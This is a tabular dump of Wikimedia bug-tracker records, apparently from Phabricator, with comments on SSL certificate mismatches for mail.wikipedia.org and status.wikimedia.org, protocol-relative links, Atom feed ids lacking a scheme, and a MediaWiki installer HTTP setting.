+229771,SSL certificate for https://status.wikimedia.org/,Wikitech is in the process of being migrated to labsconsole. The SSL cert on wikitech-static.wikimedia.org is fine now,,,1362092643,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-h2zfikbf6khroavaepxu,task_subcomment,,True,c2,1,True,,,-26,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+229765,SSL certificate for https://status.wikimedia.org/,"For status, this is RT #1849.",,,1360305266,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-h2zfikbf6khroavaepxu,task_subcomment,,True,c2,1,True,,,-29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+229759,SSL certificate for https://status.wikimedia.org/,"I thought wikitech already had a bug for this.. Apparently not, but I guess there is an RT ticket",,,1360292001,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-h2zfikbf6khroavaepxu,task_subcomment,,True,c2,1,True,,,-29,True,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+46731,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"When you visit:
+
+https://mail.wikipedia.org/mailman/listinfo/wikitech-l
+
+it provides the cert for *.wikimedia.org
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=68553
+https://rt.wikimedia.org/Ticket/Display.html?id=6981
+https://bugzilla.wikimedia.org/show_bug.cgi?id=73290",Medium,50.0,1360196820,1414468103.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-kb2p62lvglctaglot7yk,task_description,resolved,True,c2,1,False,False,False,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+227852,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Thanks for updating the patches. LGTM.
+
+https://www.google.com/search?q=site%3Amail.wikipedia.org has ~2850 results.
+
+Let's check in a week or three and see if that has improved.",,,1414468468,,PHID-USER-7ey733eainlhx5xqp4d3,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,60,True,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+227847,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),This should be fixed now. Thanks Jeremy for all the work!,,,1414468103,,PHID-USER-ktuojnvco4fpzmyhzyaf,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,True,,,60,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+227841,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Change 154222 merged by Faidon Liambotis:
+Move mail.wikipedia.org to the main cluster
+
+https://gerrit.wikimedia.org/r/154222",,,1414451823,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,60,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+227835,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Change 154223 merged by Faidon Liambotis:
+Redirect mail.wikipedia.org to lists.wikimedia.org
+
+https://gerrit.wikimedia.org/r/154223",,,1414447431,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,60,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+227828,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"btw, I tested mail to a -request address @mail.wikipedia.org (subject=""help"") and got the same response I would expect for mail to the canonical address.
+
+This change *should* keep that status quo working fine...",,,1408063307,,PHID-USER-7ey733eainlhx5xqp4d3,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,0
+227821,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Change 154223 had a related patch set uploaded by Jeremyb:
+fix cert mismatch on mail.wikipedia.org
+
+https://gerrit.wikimedia.org/r/154223",,,1408062935,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+227812,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Change 154222 had a related patch set uploaded by Jeremyb:
+fix cert mismatch on mail.wikipedia.org
+
+https://gerrit.wikimedia.org/r/154222",,,1408062923,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+227802,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"I would recommend not turning off HTTPS on the domain if that is the direction the discussion is heading.  I like the idea of even just the simple redirect being secure.
+
+> Just to be clear, the result Zell mentioned is HTTP
+> (http://mail.wikipedia.org/pipermail/wikitech-l/), not HTTPS, so that
+> particular link would only affect HTTPS Everywhere (or similar) users.
+
+This is correct.  I use HTTPS Everywhere, and there are quite a lot of people who do, especially within the sort of community that searches for technical mailing list archives.",,,1406384800,,PHID-USER-2qzpsivaeuezrxqtzhwn,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,47,True,0,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+227794,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"(In reply to Matthew Flaschen from comment #9)
+> (In reply to Matthew Flaschen from comment #8)
+> > I'm not sure of GoogleBot's behavior in this regard. (Apparently, they send
+> > warnings out through Webmaster Tools, but I'm not sure how it affects the
+> > actual index).
+> 
+> Just to be clear, the result Zell mentioned is HTTP
+> (http://mail.wikipedia.org/pipermail/wikitech-l/), not HTTPS, so that
+> particular link would only affect HTTPS Everywhere (or similar) users.
+
+HTTPS was enabled on this domain because of a HTTPS Everywhere user:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=33897",,,1406272783,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,True,,,47,True,0,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+227785,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"(In reply to Matthew Flaschen from comment #11)
+> (In reply to Jan Zerebecki from comment #10)
+> > Maybe the link doesn't get updated because robots.txt has Disallow:
+> > /pipermail/ . Perhaps making http://mail.wikipedia.org/robots.txt (only for
+> > that domain) a 404 has the desirable effect.
+> 
+> I think that may have been the original domain, so that will probably still
+> lead to crawling the archives.
+
+Actually never mind, as long as the crawlers respect the destination robots.txt (after being redirected) it should be fine.",,,1406258329,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,47,True,0,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+227778,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"(In reply to Jan Zerebecki from comment #10)
+> Maybe the link doesn't get updated because robots.txt has Disallow:
+> /pipermail/ . Perhaps making http://mail.wikipedia.org/robots.txt (only for
+> that domain) a 404 has the desirable effect.
+
+I think that may have been the original domain, so that will probably still lead to crawling the archives.",,,1406258168,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,47,True,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+227773,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),Maybe the link doesn't get updated because robots.txt has Disallow: /pipermail/ . Perhaps making http://mail.wikipedia.org/robots.txt (only for that domain) a 404 has the desirable effect.,,,1405584368,,PHID-USER-mdihg2tyzmlvyhn3h32y,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,True,,,46,True,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+227769,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"(In reply to Matthew Flaschen from comment #8)
+> I'm not sure of GoogleBot's behavior in this regard. (Apparently, they send
+> warnings out through Webmaster Tools, but I'm not sure how it affects the
+> actual index).
+
+Just to be clear, the result Zell mentioned is HTTP (http://mail.wikipedia.org/pipermail/wikitech-l/), not HTTPS, so that particular link would only affect HTTPS Everywhere (or similar) users.",,,1405579892,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+227764,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"There is a 301 redirect (permanent redirect) currently.  However, for SSL=>SSL (https://mail.wikipedia.org => https://lists.wikimedia.org/), the only way you can even get the 301 is by accepting an invalid certificate.
+
+I'm not sure of GoogleBot's behavior in this regard. (Apparently, they send warnings out through Webmaster Tools, but I'm not sure how it affects the actual index).",,,1405579380,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+227759,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),The google result might change its URL if we add a permanent HTTP redirect from mail.wikipedia.org to lists.wikimedia.org (maybe add some of its other aliases when we are at it) in the apache config.,,,1404848597,,PHID-USER-mdihg2tyzmlvyhn3h32y,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,True,,,44,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+227754,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),https://rt.wikimedia.org/Ticket/Display.html?id=6981,,,1394071345,,PHID-USER-fo56wm4wxiwpoofn2xdu,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,True,,,27,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+227747,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"The second Google Result for wikitech-l links to mail.wikipedia.org page, so I suspect there are probably at least a few people who have run into this issue trying to find the wikitech-l archives.",,,1392743831,,PHID-USER-2qzpsivaeuezrxqtzhwn,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,24,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+227742,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"**Thehelpfulonewiki** wrote:
+
+Adding Daniel to CC to have a look at the feasibility of this.",,,1372096967,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+227735,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Also, if we can't fix it we should consider just disable accessing it by SSL (so https://mail.wikipedia.org wouldn't work).",,,1360197284,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+227727,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"We have a wildcard cert for *.wikipedia.org (used on e.g. enwiki).
+
+Could that be installed on mail.wikipedia.org, or would it pose a risk?
+
+Otherwise, we could get a cert for mail.wikipedia.org and use it to serve the redirect.
+
+I hit this since I use HTTPS Everywhere, with has a general Wikimedia rule.  If a fix is not possible, I will request they disable this redirect (http://mail.wikipedia.org -> https://mail.wikipedia.org).",,,1360197219,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+227723,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"**Thehelpfulonewiki** wrote:
+
+Thanks for this - confirmed, this is because mail.wikipedia.org redirects to lists.wikimedia.org, not sure if this can be fixed though.",,,1360196958,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+46647,"Missing protocol (missing ""https:"") in field id value in Atom feed makes Thunderbird choke","the id is 
+
+<id>//en.wikipedia.org/w/index.php?title=French_language&amp;diff=536359399&amp;oldid=536357691</id>
+
+it is missing
+
+the scheme (http or https)
+
+both in watch list
+
+https://en.wikipedia.org/w/api.php?action=feedwatchlist&allrev=allrev&wlowner=Xavier+Combelle&wltoken=...&feedformat=atom
+
+and in [[Special:RecentChangesLinked]]
+
+https://en.wikipedia.org/w/index.php?title=Special:RecentChangesLinked/User:Xavier_Combelle&feed=atom&target=User%3AXavier_Combelle
+
+in thunderbird it makes [[Special:RecentChangesLinked]] broken but strangely not the watch list.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52253",Medium,50.0,1360004640,1372933626.0,PHID-USER-h66anukl4e5enszrrt3t,False,,False,PHID-TASK-dgq75p75nztlt6w2q7s7,task_description,declined,True,c2,1,False,False,True,-30,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+223148,"Missing protocol (missing ""https:"") in field id value in Atom feed makes Thunderbird choke","URL works for me in Thunderbird 17.0.7, though the validator complains as usual:
+
+Sorry
+
+This feed does not validate.
+
+    line 13, column 98: id must be a full and valid URL: //en.wikipedia.org/w/index.php?title=Spanish_language&diff=562615584&oldid=562388202 (12 occurrences) [help]
+
+        ... e&amp;diff=562615584&amp;oldid=562388202</id>
+                                                     ^
+
+In addition, interoperability with the widest range of feed readers could be improved by implementing the following recommendations.
+
+    line 33, column 0: style attribute contains potentially dangerous content: border-radius (84 occurrences) [help]
+
+          &lt;td style=&quot;background-color: #f9f9f9; color: #333333; font-size: 8 ...
+
+    line 149, column 96: Two entries with the same id: //en.wikipedia.org/w/index.php?title=Template:Babel&diff=558575559&oldid=558575559 [help]
+
+        ... l&amp;diff=558575559&amp;oldid=558575559</id>
+                                                     ^
+
+Source: https://en.wikipedia.org/w/index.php?title=Special%3ARecentChangesLinked/User%3AXavier_Combelle&feed=atom&target=User%3AXavier_Combelle",,,1372933626,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dgq75p75nztlt6w2q7s7,task_subcomment,,True,c2,1,True,,,-8,True,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1
+223141,"Missing protocol (missing ""https:"") in field id value in Atom feed makes Thunderbird choke",yes they are not displayed at all It opens a folder but nothing in it I'm under thunderibird 17.0.2 and ubuntu 12.10 if it's important,,,1360175253,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-dgq75p75nztlt6w2q7s7,task_subcomment,,True,c2,1,False,,,-29,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+223134,"Missing protocol (missing ""https:"") in field id value in Atom feed makes Thunderbird choke","What is ""makes broken"" exactly? That it cannot be displayed at all?",,,1360061151,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dgq75p75nztlt6w2q7s7,task_subcomment,,True,c2,1,True,,,-30,True,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0
+46573,Links should use HTTP or HTTPS URL protocol relative to current page,"The Interwiki table currently requires the specification of the protocol. Instead, there should be an indication of whether the server at the destination supports HTTPS, and then the protocol should be selected dynamically, to match the protocol in use on the current page. If HTTPS is not indicated as being supported, then the Interwiki extension should fall back to HTTP by default.
+
+I tested this on MediaWiki 1.18.x, using the older version of Interwiki required for 1.18. I looked at the code changes, and didn't see anything recent that indicated protocol-relative URLs were implemented in newer versions. If I've overlooked it, apologies.",Medium,50.0,1359711000,,PHID-USER-v3ztoke3xgae5by5guup,False,,False,PHID-TASK-ywwat26w4atkpyl4zqvr,task_description,open,True,c2,1,False,False,,-30,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+218322,Links should use HTTP or HTTPS URL protocol relative to current page,"Looking here:
+
+https://www.mediawiki.org/wiki/Special:Interwiki
+
+It appears the extension already supports protocol relative URLs via MediaWiki's native handling, beginning with 1.18. I should have tested that. Maybe the included table should be updated with protocol relative URls for the projects that support HTTPS? I'll leave this open for now, since I think at least that much can be done. I'll also update the documentation for the extension.",,,1359711796,,PHID-USER-v3ztoke3xgae5by5guup,False,,,PHID-TASK-ywwat26w4atkpyl4zqvr,task_subcomment,,True,c2,1,False,,,-30,True,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,1,0
+46260,Install over HTTPS produces wgServer with HTTP protocol,"**Author:** `bugzilla+wikimedia.org`
+
+**Description:**
+When installing through HTTPS, LocalSettings.php $wgServer still has HTTP protocol thus no stylesheets are loaded.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=66481",Medium,50.0,1358894880,1390766587.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-eacnrvequd2z26psqszj,task_description,invalid,True,c2,1,False,False,False,-32,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+224000,Install over HTTPS produces wgServer with HTTP protocol,"**karun.84** wrote:
+
+In Mediawiki 1.23, it is already checking if it is http or https and then creating the localsettings.php file.",,,1390766587,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-eacnrvequd2z26psqszj,task_subcomment,,True,c2,3,False,,,21,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+223992,Install over HTTPS produces wgServer with HTTP protocol,We should probably just default to protocol-relative in the default install.,,,1358897710,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-eacnrvequd2z26psqszj,task_subcomment,,True,c2,1,True,,,-32,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+45939,"HTML markup shown in ""Username taken in unified login"" message error","Screenshot of described error.
+
+While working at ACC on the English Wikipedia, I came across an expected error. While the error was fine, the message itself needs to be fixed as the link is shown improperly. I have attached a screenshot and the text of said error is pasted here:
+
+The requested username is already taken in the <a href=""http://meta.wikimedia.org/wiki/Help:Unified_login"">unified login system</a>. Please choose a different name.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: normal
+
